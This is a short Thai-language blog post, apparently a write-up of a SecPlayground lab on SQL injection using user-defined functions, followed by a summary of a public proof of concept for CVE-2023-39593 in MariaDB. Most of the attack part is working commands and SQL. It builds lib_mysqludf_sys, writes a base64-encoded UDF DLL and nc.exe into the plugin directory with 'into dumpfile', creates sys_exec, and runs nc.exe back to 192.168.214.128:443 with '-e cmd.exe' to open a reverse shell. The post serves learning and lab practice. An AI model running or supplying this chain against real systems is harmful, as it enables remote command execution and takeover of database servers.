SQL Injection with UDF, lab secplayground, CVE-2023–39593

Nattawat Songsom
2 min readFeb 13, 2025

--

โอเค มาสรุปไวๆกัน

SQL Injection with UDF เป็นช่องโหว่ที่ db เปิดโอกาสให้ user สามารถสร้าง db function ของตัวเองได้

เช่น db มี function version() ไว้ get db version

user ก็สร้าง function sys_exec() เอาไว้รัน command บน db server ได้

โดยหาก server ช่องโหว่ sql injection อยู่ด้วย

ก็จะเปิดช่องให้ attacker แทรก query ในการสร้าง udf แทรกไปกับ query ปกติ

โอเค มาลองดู lab secplayground กัน

lab นี้เราสามารถแทรก udf ไปได้โดยใช้

'

ปิด sql เดิม แล้วส่ง udf ไป

โดยใน lab แนะนำให้ download code สร้าง udf มาจาก https://github.com/mysqludf/lib_mysqludf_sys

แล้วนำมาสร้าง udf

ซึ่งเราลองใช้ docker ในการสร้างดู ได้เป็น Dockerfile

FROM debian:10

# Install necessary packages
RUN apt update && apt install -y \
libmariadbclient-dev \
git \
gcc \
make

# Clone the repository and compile
WORKDIR /usr/src
RUN git clone https://github.com/mysqludf/lib_mysqludf_sys.git && \
cd lib_mysqludf_sys && \
gcc lib_mysqludf_sys.c -o lib_mysqludf_sys_x64.so \
-m64 -Wl,--hash-style=both -fPIC -Wall \
-I/usr/include/mariadb/server \
-I/usr/include/mariadb/server/private \
-I. -shared \
-L/usr/lib/x86_64-linux-gnu/libstdc++.so.6

# Keep the container alive
CMD ["tail", "-f", "/dev/null"]

แต่พอ shell เข้าไปใน container แล้วแปลง lib_mysqludf_sys_x64 ออกมาใช้ ดันใช้ไม่ได้แหะ

เดาว่า environment อย่างใดอย่างหนึ่งไม่ตรงกันกับ target

แต่พอ upload base64 udf (ver x64) จาก lab ไปยัง target

และใช้ target นั้นสร้าง function สำหรับรัน cmd

และรัน cmd บน target server ก็จะได้ flag มา

เอาละ มาดู CVE-2023–39593 ต่อกัน

โดยข้อมูลนี้เราได้มาจาก https://github.com/Ant1sec-ops/CVE-2023-39593

CVE นี้จะเป็นเรื่อง udf เหมือนกัน

โดยใน mariadb version 10.5 จะปล่อยให้ user ใช้ udf ได้

แต่ประเด็นอยู่ที่ user สามารถหาทางใช้ udf จนรัน command บน target server ได้ จึงเป็นช่องโหว่นั่นเอง

โอเค มาดู step เค้ากัน

เริ่มจากเช็ค architecture ของ target เพราะจะต้องนำ udf ไปถูกอัน เช่น x86 x64

select @@version_compile_os, @@version_compile_machine;

จากนั้นหา folder ที่จะต้องนำ udf ไปวาง

select @@plugin_dir;

แล้ว download udf จาก metasploit

ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll

จากนั้น convert udf เป็น base64 เพื่อให้ส่งเป็น sql string ได้

cat udf.dll | base64 | tr -d '\n' > udf.base64

จากนั้นรัน sql บน target server เพื่อ ส่ง base64 encoded udf ไปวางใน target server

select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';

จากนั้นรัน sql เพื่อสั่งให้ udf สร้าง function db ใหม่ ชื่อ sys_exec

create function sys_exec returns int soname 'udf.dll';

โดยเค้าจะเช็คว่า function ถูกสร้างมั้ย ด้วยการ list function

select * from mysql.func;

จากนั้นเค้าจะเตรียมการทำ reverse shell

เพื่อให้ target เป็น client และเครื่อง attacker เป็น server โดยเมื่อ client ติดต่อเข้ามาแล้ว attacker จะเข้าไปรันคำสั่งได้

โดยเค้าใช้ nc เป็นโปรแกรมในการทำ reverse shell

ก่อนอื่น upload โปรแกรม nc ลงไปบน target server ก่อน โดยแปลง nc เป็น base64 แล้วใช้ sql upload

cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';

จากนั้นที่เครื่อง attacker ให้ใช้ nc ในการรอรับ incoming connection

แล้วใช้ sys_exec ที่เราสร้างไว้ ในการรัน nc บน target เพื่อติดต่อมายัง attacker

select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');

การทำ reverse shell จะสำเร็จ และ attacker จะสามารถรัน cmd บน target server ได้แล้ว

--

--

No responses yet